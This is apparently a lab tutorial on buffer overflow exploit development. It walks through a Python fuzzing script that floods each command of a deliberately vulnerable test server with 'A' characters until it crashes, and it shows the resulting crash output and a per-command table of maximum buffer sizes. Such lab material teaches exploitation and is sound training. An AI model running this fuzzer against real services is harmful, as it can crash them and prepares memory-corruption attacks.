Lets continue from the last buffer overflow.
3. Submit junk data to vulsever and look for the maximum buffer it can hold.
prope script
import socket, sys
def get_message(length, prepend=None):
"""
prope server
construct request message
:param length:integer total byte
:return: string
"""
ret = ""
if length > 0:
ret = "A" * length
return prepend + " " + ret if prepend is not None else ret
def prope(message):
"""
prope server
:param message: request message
:return: void
"""
host = "192.168.56.102"
port = 9999
res = None
try:
my_socket = socket.socket()
my_socket.connect((host, port))
my_socket.settimeout(1) # add this to prevent freeze the connection
my_socket.recv(2048).decode()
my_socket.send(message.encode())
res = my_socket.recv(2048).decode().replace("\n", "").replace("\r", "")
my_socket.close()
# hide the success , look for failure, we need crash. we need failure.
# print("[success] %s:%s %s => %s" % (host, port, message, res))
except:
print("[error] %s:%s %s => None" % (host, port, len(message))) # modify the output for testing ttl length
raise
# sys.exit()
def main():
# try 5kb prope by 10byte / incremental , see when crash
max = 5000
each = 10
print("testing cmds")
cmds = [
None,
# "STATS"
# , "RTIME"
# , "LTIME"
# , "SRUN"
# , "TRUN"
# , "GMON"
# , "GDOG"
# , "KSTET"
# , "GTER"
# , "HTER"
# , "LTER"
# "KSTAN"
]
for cmd in cmds:
print("testing %s" % cmd)
i = 0
while i < max:
try:
prope(get_message(i, cmd))
i += each
except:
break
print("completed test")
if __name__ == "__main__":
main()
Right now, we have a prope script to fill up the buffer and looking for a EIP
to change the memory address.
Let’s try to prope function piece by piece, we need to look for the exact number of bytes that will make it crash.
> python3 exploit.py
testing cmds
testing None
[error] 192.168.56.102:9999 0 => None
completed test
> python3 exploit.py
testing cmds
testing STATS
completed test
> python3 exploit.py
testing cmds
testing RTIME
completed test
> python3 exploit.py
testing cmds
testing LTIME
completed test
> python3 exploit.py
testing cmds
testing SRUN
completed test
> python3 exploit.py
testing cmds
testing TRUN
completed test
> python3 exploit.py
testing cmds
testing GMON
[error] 192.168.56.102:9999 275 => None
completed test
> python3 exploit.py
testing cmds
testing GDOG
completed test
> python3 exploit.py
testing cmds
testing KSTET
[error] 192.168.56.102:9999 76 => None
completed test
> python3 exploit.py
testing cmds
testing GTER
[error] 192.168.56.102:9999 155 => None
completed test
> python3 exploit.py
testing cmds
testing HTER
[error] 192.168.56.102:9999 2045 => None
completed test
> python3 exploit.py
testing cmds
testing LTER
completed test
> python3 exploit.py
testing cmds
testing KSTAN
completed test
Success. Now we have a maxmium buffer byte table. Lets look for which function can be exploited.
In the above code, we tested <= 5000 bytes buffer. So if there is no error, it can hold 5kb max buffers.
Attack VectorMax Buffer(Bytes)None5kbSTATS5kbRTIME5kbLTIME5kbSRUN5kbTRUN5kbGMON140GDOG5kbKSTET60GTER140HTER2030LTER5kbKSTAN5kb
Since a win32 exploit needs ~ 350 bytes for the exploit, if the max buffer limited within 350 bytes, that attack vector is not applicable.
Now we have the following vectors for further testing.
- None | 5kb
- STATS | 5kb
- RTIME | 5kb
- LTIME| 5kb
- SRUN| 5kb
- TRUN| 5kb
- GDOG| 5kb
- HTER| 2030
- LTER| 5kb
- KSTAN| 5kb